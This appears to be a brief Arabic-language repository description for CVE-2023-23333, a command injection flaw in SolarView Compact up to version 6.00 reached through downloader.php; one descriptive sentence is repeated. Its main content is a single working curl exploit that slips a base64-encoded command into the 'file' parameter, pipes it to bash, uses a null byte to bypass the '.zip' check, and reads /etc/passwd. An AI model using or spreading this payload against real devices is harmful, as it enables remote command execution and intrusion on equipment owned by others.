timorlover/cve-2023-23333هناك ثغرة حقن أوامر في SolarView Compact حتى الإصدار 6.00، يمكن للمهاجمين تنفيذ الأوامر عن طريق تجاوز القيود الداخلية عبر downloader.php.
توجد ثغرة حقن أوامر في SolarView Compact حتى الإصدار 6.00، حيث يمكن للمهاجمين تنفيذ الأوامر عن طريق تجاوز القيود الداخلية عبر downloader.php.
curl http://example.com/downloader.php?file=;echo%20Y2F0IC9ldGMvcGFzc3dkCg==|base64%20-d|bash%00.zip | grep root:.*:0:0
يمكن حقن الأوامر عن طريق تجاوز القيود الداخلية عبر الوصول إلى معلمة file في صفحة downloader.php.
